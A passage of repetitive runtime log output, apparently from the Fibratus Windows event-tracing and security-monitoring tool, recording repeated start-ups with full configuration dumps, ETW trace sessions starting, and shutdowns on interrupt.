exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false] http=>[ method=>POST serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false enabled=>false fastscan=>true excluded-procs=>[] skip-files=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:21:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:21:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:21:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:21:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:21:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:22:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:22:19+01:00 level=info msg=bootstrapping with pid 1328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:22:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true max-buffers=>36 enable-threadpool=>false enable-vamap=>true enable-fileio=>true enable-dns=>false enable-handle=>false enable-image=>true min-buffers=>16 enable-mem=>false enable-thread=>true enable-registry=>true stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s passive=>false durable=>false url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus delivery-mode=>transient exchange-type=>topic] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false index-name=>fibratus timeout=>5s flush-period=>1s gzip-compression=>false trace-log=>false healthcheck-interval=>10s healthcheck=>true sniff=>false] http=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:22:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:22:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:22:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:22:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:22:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:23:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:23:59+01:00 level=info msg=bootstrapping with pid 19788. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:23:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-image=>true enable-fileio=>true enable-handle=>false enable-registry=>true enable-net=>true enable-vamap=>true enable-mem=>false max-buffers=>36 buffer-size=>512 enable-dns=>false enable-audit-api=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-thread=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 level=>info log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false enabled=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s sniff=>false bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s] amqp=>[ delivery-mode=>transient exchange=>fibratus enabled=>false vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic passive=>false routing-key=>fibratus url=>amqp://localhost:5672 durable=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST serializer=>json]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-files=>false fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:23:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:24:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:24:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:24:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:24:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:24:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:24:29+01:00 level=info msg=bootstrapping with pid 17636. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:24:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-registry=>true enable-net=>true enable-mem=>false enable-fileio=>true max-buffers=>36 enable-vamap=>true buffer-size=>512 enable-dns=>false enable-handle=>false enable-threadpool=>false enable-thread=>true flush-interval=>1s min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST] amqp=>[ enabled=>false passive=>false exchange-type=>topic routing-key=>fibratus vhost=>/ timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false] elasticsearch=>[ flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false template-name=>fibratus bulk-workers=>1 healthcheck=>true sniff=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:24:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:24:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:25:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:25:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:25:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:25:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:25:21+01:00 level=info msg=bootstrapping with pid 17228. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:25:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 flush-interval=>1s enable-threadpool=>false max-buffers=>36 enable-mem=>false enable-thread=>true enable-vamap=>true buffer-size=>512 enable-dns=>false enable-net=>true enable-registry=>true enable-fileio=>true enable-image=>true enable-handle=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ http=>[ enabled=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ enabled=>false flush-period=>1s gzip-compression=>false template-name=>fibratus sniff=>false healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus timeout=>5s healthcheck=>true healthcheck-timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s passive=>false enabled=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 durable=>false vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false enabled=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:25:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:25:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:25:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:25:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:25:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:41:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:41:27+01:00 level=info msg=bootstrapping with pid 12216. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:41:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-vamap=>true enable-mem=>false max-buffers=>36 enable-dns=>false enable-fileio=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-audit-api=>true flush-interval=>1s buffer-size=>512 enable-net=>true min-buffers=>16 enable-image=>true enable-threadpool=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-backups=>15 max-age=>0 level=>info] + output ......................... [ http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ delivery-mode=>transient passive=>false exchange=>fibratus enabled=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false durable=>false] elasticsearch=>[ trace-log=>false enabled=>false flush-period=>1s index-name=>fibratus sniff=>false bulk-workers=>1 timeout=>5s gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-files=>false skip-allocs=>false fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:41:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:41:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:54:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:54:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:54:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:55:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:55:17+01:00 level=info msg=bootstrapping with pid 20200. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:55:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-vamap=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-mem=>false enable-net=>true buffer-size=>512 enable-image=>true min-buffers=>16 max-buffers=>36 enable-threadpool=>false enable-dns=>false enable-thread=>true flush-interval=>1s enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 log-stdout=>true max-size=>100 formatter=>text] + output ......................... [ amqp=>[ vhost=>/ exchange=>fibratus enabled=>false routing-key=>fibratus timeout=>5s durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672] http=>[ endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false timeout=>5s enabled=>false method=>POST] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ trace-log=>false healthcheck=>true index-name=>fibratus gzip-compression=>false template-name=>fibratus sniff=>false healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:55:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:55:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:59:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:59:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:59:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:00:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T18:00:10+01:00 level=info msg=bootstrapping with pid 14912. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T18:00:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-handle=>false enable-vamap=>true buffer-size=>512 enable-threadpool=>false max-buffers=>36 enable-audit-api=>true enable-mem=>false enable-net=>true min-buffers=>16 enable-image=>true enable-fileio=>true stack-enrichment=>true enable-thread=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false trace-log=>false healthcheck=>true template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s enabled=>false bulk-workers=>1] amqp=>[ url=>amqp://localhost:5672 durable=>false exchange-type=>topic vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s delivery-mode=>transient passive=>false enabled=>false] http=>[ endpoints=>[] enabled=>false method=>POST serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T18:00:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:00:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:03:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T18:03:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:03:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:04:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T18:04:02+01:00 level=info msg=bootstrapping with pid 13164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T18:04:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-audit-api=>true stack-enrichment=>true enable-handle=>false enable-dns=>false enable-net=>true enable-mem=>false enable-thread=>true min-buffers=>16 enable-fileio=>true max-buffers=>36 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-vamap=>true buffer-size=>512 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text max-age=>0 log-stdout=>true level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json method=>POST endpoints=>[] enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ sniff=>false flush-period=>1s servers=>[http://127.0.0.1:9200] template-name=>fibratus gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s enabled=>false index-name=>fibratus timeout=>5s bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ 